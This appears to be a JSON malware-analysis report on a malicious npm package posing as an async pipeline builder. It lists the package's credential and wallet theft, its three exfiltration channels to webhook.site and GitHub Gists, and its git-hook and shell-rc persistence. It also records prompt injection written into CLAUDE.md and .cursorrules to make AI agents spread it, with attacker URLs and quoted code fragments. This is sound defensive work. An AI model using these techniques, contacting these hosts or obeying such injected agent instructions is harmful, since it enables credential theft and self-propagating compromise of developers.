{"package":"async-pipeline-builder","version":"1.0.1","known":true,"status":"done","discovered_at":1790295621092,"has_install_script":true,"report_url":"https://andymal.com/packages/async-pipeline-builder/1.0.1","verdict":"malicious","action":"block","confidence":0.97,"summary":"postinstall spawns lib/worker.js as a detached background process. worker.js scans EXFIL_DIRS (~.env, .bash_history, .npmrc, .git-credentials, .kube/config, Chrome Login Data/Cookies, AWS credentials, Docker config, crypto exchange configs, etc.), brute-forces Ethereum keystore files with common/user-derived passwords, scrapes secret-bearing process.env vars, and exfiltrates findings over three channels: Fernet-encrypted HTTPS POST to webhook.site URLs (hardcoded + remote-config-fetched), DNS-tunnelled subdomain lookups, and anonymous GitHub Gists. Persistence is achieved by writing prompt-injection content to .cursorrules / CLAUDE.md, installing git hooks (post-merge, post-checkout) that curl-exec remote scan.js, and appending to .bashrc/.zshrc/.profile. The package uses Buffer.from([decimals]).toString() to obfuscate string literals like \"private_key\", \"password\", \"keystore\", \".aws\", \"credentials\".","intent":"Pretends to be an async data pipeline builder. Actually installs a persistent credential harvester that scans ~50+ credential stores (browsers, cloud providers, crypto wallets, shells, env vars), brute-forces Ethereum keystore files, exfiltrates findings via encrypted webhook POST / DNS tunnel / anonymous GitHub Gists, and propagates itself via AI-agent prompt injection (.cursorrules, CLAUDE.md), git hooks, and shell RC files — all driven by a remote config fetched from ddjidd564.github.io.","capabilities":["credential_access","credential_harvest","network_egress","download_execute","persistence","agent_config_tamper","browser_theft","crypto_theft","reconnaissance","obfuscation"],"iocs":{"domains":["ddjidd564.github.io"],"urls":["https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246","https://webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546","https://webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8","https://ddjidd564.github.io/defi-security-best-practices/config.json","https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json","https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js","https://ddjidd564.github.io/defi-security-best-practices/portfolio.html"],"ips":[],"paths":["/home/user/.local/share/.p2024_integrity"],"hashes":[]},"analyzed_at":1790295759843,"detonated":true,"model":"yolo","post_url":"https://andymal.com/blog/2026-09-25-async-pipeline-builder-1.0.1","findings":[{"title":"Credential store scanning (EXFIL_DIRS)","detail":"Hardcoded list of 60+ credential files: .env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .mysql_history, .pgpass, .kube/config, Chrome/Chromium/Brave Login Data & Cookies, AWS credentials, Docker config, crypto exchange configs. Reads contents of small files (<1 MB).","severity":"critical","location":"lib/worker.js:170-235"},{"title":"Browser credential theft","detail":"Scans Chrome, Chromium, Brave, Edge Login Data (SQLite), Cookies, and Local State (encryption key) across Linux, macOS, and Windows paths.","severity":"critical","location":"lib/worker.js:196-235"},{"title":"Cloud & infrastructure credential theft","detail":"Scans .aws/credentials, .aws/config, .kube/config, .docker/config.json, .config/gcloud, .azure — reads file contents.","severity":"critical","location":"lib/worker.js:119-128, 190-195"},{"title":"Crypto wallet keystore brute-force","detail":"Finds .ethereum/.bitcoin/.solana keystore files; attempts scrypt decryption with 100+ common passwords and user-derived candidates (filename, username). Time-boxed to 30s per file. On success, reports private key.","severity":"critical","location":"lib/worker.js:72-103, 296-600, 1503-1578"},{"title":"Environment variable exfiltration","detail":"Iterates process.env; flags keys containing key/secret/token/password/private/mnemonic/wallet/seed. Reports key names and value previews (first 40 chars).","severity":"high","location":"lib/worker.js:1440-1472"},{"title":"Exfiltration channel 1 — Webhook POST","detail":"Encrypts findings with Fernet (AES-128-CBC + HMAC-SHA256) and POSTs to webhook.site URLs. Remote config from ddjidd564.github.io can add additional webhooks.","severity":"critical","location":"lib/worker.js:718-738, 922-924"},{"title":"Exfiltration channel 2 — DNS tunnel","detail":"Encodes report data in base32 and performs dns.lookup() subdomain lookups to a C2 domain (data exfiltrated via DNS queries).","severity":"high","location":"lib/worker.js:767"},{"title":"Exfiltration channel 3 — GitHub Gists","detail":"Creates anonymous GitHub gists (api.github.com/gists) with exfiltrated data.","severity":"high","location":"lib/worker.js:795"},{"title":"AI-agent prompt injection (cursorrules/CLAUDE.md)","detail":"Writes .cursorrules and CLAUDE.md files containing P-2024-001 prompt-injection content that directs AI agents to propagate the scanner, embed verification triggers in generated output, and reference the remote scan URL.","severity":"critical","location":"lib/worker.js:1699-1703"},{"title":"Git hook persistence","detail":"Installs post-merge and post-checkout git hooks that curl-exec https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan.js.","severity":"high","location":"lib/worker.js:1738-1757"},{"title":"Shell RC persistence","detail":"Appends background curl-exec of remote scan.js to .bashrc, .zshrc, .profile.","severity":"high","location":"lib/worker.js:1761-1775"},{"title":"Remote config & code download","detail":"Fetches config from https://ddjidd564.github.io/defi-security-best-practices/config.json (dynamic webhooks, strategy) and priority targets from /priority_targets.json.","severity":"high","location":"lib/worker.js:909-914, 1335"},{"title":"Obfuscation via Buffer.from([decimals])","detail":"String literals like 'private_key', 'secret', 'password', 'mnemonic', 'wallet', 'keystore', '.ethereum', '.aws', 'credentials', 'config' are encoded as Buffer.from([byte,...]).toString() to evade signature detection.","severity":"medium","location":"lib/worker.js:63-69, 106-110, 113, 120, 190-191, 1446-1455"},{"title":"Stealthy background process","detail":"lib/setup.js spawns worker.js with detached:true, stdio:'ignore', child.unref() — runs silently in background, invisible to the user.","severity":"medium","location":"lib/setup.js:31-36"}],"lab":{"ok":true,"lab_version":2,"duration_ms":2929,"lab_ip":"10.77.0.155","hooks":[{"name":"postinstall","command":"node lib/setup.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> async-pipeline-builder@1.0.1 postinstall\n> node lib/setup.js\n\n[async-pipeline-builder] INFO: Async pipeline builder initialization...\n[async-pipeline-builder] INFO: Node.js vv22.23.2 — compatible\n[async-pipeline-builder] INFO: Project: async-pipeline-builder (1.0.1)\n[async-pipeline-builder] INFO: Project directories found: lib\n[async-pipeline-builder] DONE: Setup completed successfully\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"[async-pipeline-builder] INFO: Async pipeline builder initialization...\n[async-pipeline-builder] INFO: Node.js vv22.23.2 — compatible\n[async-pipeline-builder] INFO: Project: async-pipeline-builder (1.0.1)\n[async-pipeline-builder] INFO: Project directories found: lib\n[async-pipeline-builder] DONE: Setup completed successfully\n","stderr_tail":""}],"process_count":8,"processes":["/usr/local/bin/node /work/pkg/lib/worker.js --verify async-pipeline-builder ×2","npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node lib/setup.js","node lib/setup.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"async-pipeline-builder","version":"1.0.1","description":"Build robust asynchronous data processing pipelines with automatic backpressure handling","scripts":{"postinstall":"node lib/setup.js","setup":"node lib/setup.js"},"install_hooks":{"postinstall":"node lib/setup.js"},"bin":{},"main":"index.js","dependencies":[],"author":"Open Dev Tools","license":"MIT","hasInstallScript":true},"files":[{"path":"lib/worker.js","size":89657,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","download_execute","code_execution","obfuscation","persistence","agent_config_tamper","reconnaissance","privilege","browser_theft","crypto_wallet"]},{"path":"lib/setup.js","size":2843,"kind":"text","score":0.37123333333333336,"hits":["credential_harvest","code_execution"],"role":"entry"},{"path":"package.json","size":498,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"index.js","size":183,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":4,"unpacked_size":93181,"findings":[{"title":"Install hook","detail":"postinstall: node lib/setup.js","severity":"low","location":"package.json"},{"title":"Dumps the whole environment (API keys live there)","detail":"ue, stdio: 'ignore', env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME }) }); child.unref","severity":"high","location":"lib/setup.js:34"},{"title":"Executes commands or dynamic code","detail":"re('fs'); const path = require('path'); const cp = require('child_process'); const PKG_NAME = 'async-pipeline-builder'; const MIN_NO","severity":"medium","location":"lib/setup.js:15"},{"title":"Touches credential stores or secrets","detail":"tory'), path.join(HOME, '.zsh_history'), path.join(HOME, '.npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-c","severity":"high","location":"lib/worker.js:172"},{"title":"Touches credential stores or secrets","detail":".npmrc'), path.join(HOME, '.gitconfig'), path.join(HOME, '.git-credentials'), // === Database history === path.join(HOME, '.mysql_","severity":"high","location":"lib/worker.js:173"},{"title":"Touches credential stores or secrets","detail":"in(HOME, '.kube', 'config'), // === Chrome/Chromium/Brave Login Data (SQLite) === path.join(HOME, '.config', 'google-chrome',","severity":"high","location":"lib/worker.js:196"},{"title":"Touches credential stores or secrets","detail":"= path.join(HOME, '.config', 'google-chrome', 'Default', 'Login Data'), path.join(HOME, '.config', 'google-chrome-beta', 'Defa","severity":"high","location":"lib/worker.js:197"},{"title":"Dumps the whole environment (API keys live there)","detail":"const envPasswordCandidates = []; for (const [k, v] of Object.entries(process.env)) { const kl = k.toLowerCase(); if (kl.includes","severity":"high","location":"lib/worker.js:1443"},{"title":"Network activity","detail":"llel) // Channel 2: DNS telemetry fallback (base32 encoded, dns.lookup) // Channel 3: Anonymous Gist backup (api.github.com/gists)","severity":"medium","location":"lib/worker.js:5"},{"title":"Network activity","detail":"stringify({ p: encryptedPayload, v: 3 }); const req = https.request(webhookUrl, { method: 'POST', headers: { 'Co","severity":"medium","location":"lib/worker.js:722"},{"title":"Network activity","detail":"// Fire-and-forget DNS lookup — don't wait for result dns.lookup(dnsDomain, 4, (err, address) => { resolve({ ok: !er","severity":"medium","location":"lib/worker.js:767"},{"title":"Network activity","detail":"} } }, null, 2); const req = https.request('https://api.github.com/gists', { method: 'POST',","severity":"medium","location":"lib/worker.js:795"},{"title":"Download-and-execute chain","detail":"_TRACE) return 'cursor_editor'; // Check if triggered via curl|bash if (process.env.SHLVL === '1' && !process.stdout.isTTY) r","severity":"critical","location":"lib/worker.js:1184"},{"title":"Executes commands or dynamic code","detail":"to = require('crypto'); const dns = require('dns'); const { execSync } = require('child_process'); const HOME = os.homedir();","severity":"medium","location":"lib/worker.js:13"},{"title":"Executes commands or dynamic code","detail":"; const dns = require('dns'); const { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (R","severity":"medium","location":"lib/worker.js:13"},{"title":"Executes commands or dynamic code","detail":"md of _strategy.commands) { try { const { execSync } = require('child_process'); execSync(cmd, { tim","severity":"medium","location":"lib/worker.js:1396"},{"title":"Executes commands or dynamic code","detail":"ds) { try { const { execSync } = require('child_process'); execSync(cmd, { timeout: 10000, stdio: 'ignore","severity":"medium","location":"lib/worker.js:1396"},{"title":"Obfuscated or encoded code","detail":"e(/_/g, '/'); while (str.length % 4) str += '='; return Buffer.from(str, 'base64'); } function _encodePayload(report, keyB64) { // keyB64","severity":"high","location":"lib/worker.js:27"},{"title":"Obfuscated or encoded code","detail":"= cryptoObj.cipher || 'aes-128-ctr'; const ciphertext = Buffer.from(cryptoObj.ciphertext, 'hex'); const iv = Buffer.from(cryptoObj.cipherparams.iv, 'he","severity":"high","location":"lib/worker.js:332"},{"title":"Obfuscated or encoded code","detail":"= Buffer.from(cryptoObj.ciphertext, 'hex'); const iv = Buffer.from(cryptoObj.cipherparams.iv, 'hex'); const mac = Buffer.from(cryptoObj.mac, 'hex'); co","severity":"high","location":"lib/worker.js:333"},{"title":"Obfuscated or encoded code","detail":"fer.from(cryptoObj.cipherparams.iv, 'hex'); const mac = Buffer.from(cryptoObj.mac, 'hex'); const salt = Buffer.from(kdfParams.salt, 'hex');","severity":"high","location":"lib/worker.js:334"},{"title":"Persistence mechanism","detail":"n 'npm_postinstall'; // Check if running from a git hook (.git/hooks/ in cwd parents) try { let p = process.cwd(); for","severity":"medium","location":"lib/worker.js:1160"},{"title":"Persistence mechanism","detail":"— Attach to development workflow triggers:\\n# git hooks (post-merge, post-checkout, pre-commit, pre-push)\\n# shell rc files","severity":"medium","location":"lib/worker.js:1700"},{"title":"Persistence mechanism","detail":"development workflow triggers:\\n# git hooks (post-merge, post-checkout, pre-commit, pre-push)\\n# shell rc files (.bashrc, .zshr","severity":"medium","location":"lib/worker.js:1700"},{"title":"Persistence mechanism","detail":"kflow triggers:\\n# git hooks (post-merge, post-checkout, pre-commit, pre-push)\\n# shell rc files (.bashrc, .zshrc, .profile)","severity":"medium","location":"lib/worker.js:1700"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"} } catch(e) {} // Propagation: write cursorrules/CLAUDE.md, git hooks, shell RC persistence if (!_skipPropagation) {","severity":"high","location":"lib/worker.js:1674"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"/ ===== SELF-PROPAGATION ENGINE ===== // Writes cursorrules/CLAUDE.md to project dirs, installs git hooks, // shell RC persistenc","severity":"high","location":"lib/worker.js:1683"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"te verification instructions to project config files:\\n# .cursorrules, CLAUDE.md, AGENTS.md, COPILOT.md, .github/copilot-instruct","severity":"high","location":"lib/worker.js:1700"},{"title":"Reads or writes AI agent configuration, skills or instruction files","detail":"n instructions to project config files:\\n# .cursorrules, CLAUDE.md, AGENTS.md, COPILOT.md, .github/copilot-instructions.md\\n#","severity":"high","location":"lib/worker.js:1700"},{"title":"System reconnaissance","detail":"onst { execSync } = require('child_process'); const HOME = os.homedir(); // === Fernet Encryption (RFC-compatible, Node.js built-i","severity":"low","location":"lib/worker.js:15"},{"title":"System reconnaissance","detail":"for fallback channels const dataSummary = { hostname: os.hostname(), findings_count: data.findings_count || 0, source:","severity":"low","location":"lib/worker.js:1082"},{"title":"System reconnaissance","detail":"t || 0, source: data.source || 'unknown', platform: os.platform(), }; // === CHANNEL 1: Webhook POST (parallel to all we","severity":"low","location":"lib/worker.js:1085"},{"title":"System reconnaissance","detail":"infection_vector: detectInfectionVector(), platform: os.platform(), arch: os.arch(), node_version: process.version","severity":"low","location":"lib/worker.js:1196"},{"title":"Privilege elevation","detail":"s.writeFileSync(hp, existing + hook); try { fs.chmodSync(hp, 0o755); } catch(e) {} res.gitHooks++;","severity":"low","location":"lib/worker.js:1751"},{"title":"Browser or OS credential store access","detail":"ult'), path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'), path.join(HOME, 'Library',","severity":"high","location":"lib/worker.js:157"},{"title":"Browser or OS credential store access","detail":"hs (WSL mounted) === '/mnt/c/Users/USERNAME/AppData/Local/Google/Chrome/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftw","severity":"high","location":"lib/worker.js:160"},{"title":"Browser or OS credential store access","detail":"/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default', '/mnt/c/Users/USERNAME/","severity":"high","location":"lib/worker.js:161"},{"title":"Browser or OS credential store access","detail":"/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/Microsoft/Edge/User Data/Default', '/mnt/c/Users/USERNAME/AppData/Local/Chromium/U","severity":"high","location":"lib/worker.js:162"},{"title":"Crypto wallet targeting or address swapping","detail":"', 'ethereum', 'eth', 'bitcoin', 'btc', 'solana', 'sol', 'metamask', 'phantom', 'trustwallet', 'crypto', 'blockchain', Buffe","severity":"high","location":"lib/worker.js:89"},{"title":"Crypto wallet targeting or address swapping","detail":"', 'eth', 'bitcoin', 'btc', 'solana', 'sol', 'metamask', 'phantom', 'trustwallet', 'crypto', 'blockchain', Buffer.from([112","severity":"high","location":"lib/worker.js:89"},{"title":"Crypto wallet targeting or address swapping","detail":"uffer.from([115,101,101,100,46,116,120,116]).toString(), 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', Buffer.","severity":"high","location":"lib/worker.js:107"},{"title":"Crypto wallet targeting or address swapping","detail":"115,101,101,100,46,116,120,116]).toString(), 'metamask', 'phantom', 'rabby', 'trust-wallet', 'coinbase', Buffer.from([112,1","severity":"high","location":"lib/worker.js:107"},{"title":"Install hook runs a script","detail":"dejs\" ], \"author\": \"Open Dev Tools\", \"scripts\": { \"postinstall\": \"node lib/setup.js\", \"setup\": \"node lib/setup.js\" }, \"files\": [ \"in","severity":"medium","location":"package.json:18"}],"injection_findings":[],"hits":{"credential_harvest":2,"code_execution":6,"credential_access":5,"network_egress":5,"download_execute":1,"obfuscation":5,"persistence":5,"agent_config_tamper":5,"reconnaissance":5,"privilege":1,"browser_theft":5,"crypto_wallet":5,"install_hook_shell":1},"iocs":{"urls":["https://ddjidd564.github.io/defi-security-best-practices/portfolio.html","https://ddjidd564.github.io/.../config.json","https://ddjidd564.github.io/defi-security-best-practices/config.json","https://webhook.site/2ada14c8-00f6-43ce-9ad6-f5dc15952246","https://webhook.site/7513bf3d-7092-4739-bf15-a8f779a75546","https://webhook.site/d1652693-2eb8-4281-b9e8-cffff36da2f8","https://ddjidd564.github.io/defi-security-best-practices/priority_targets.json","https://ddjidd564.github.io/defi-security-best-practices/config.json\\n","https://ddjidd564.github.io/defi-security-best-practices/config.json\\n#\\n#","https://ddjidd564.github.io/defi-security-best-practices/scan.js"],"domains":["ddjidd564.github.io","webhook.site"],"ips":[]},"score":1,"priority":170,"hints":["install hook postinstall: node lib/setup.js","untrusted hosts referenced: ddjidd564.github.io, webhook.site","capability hits: code_execution×6, credential_access×5, network_egress×5, obfuscation×5, persistence×5, agent_config_tamper×5, reconnaissance×5, browser_theft×5, crypto_wallet×5, credential_harvest×2, download_execute×1, privilege×1"],"entry_files":["lib/setup.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}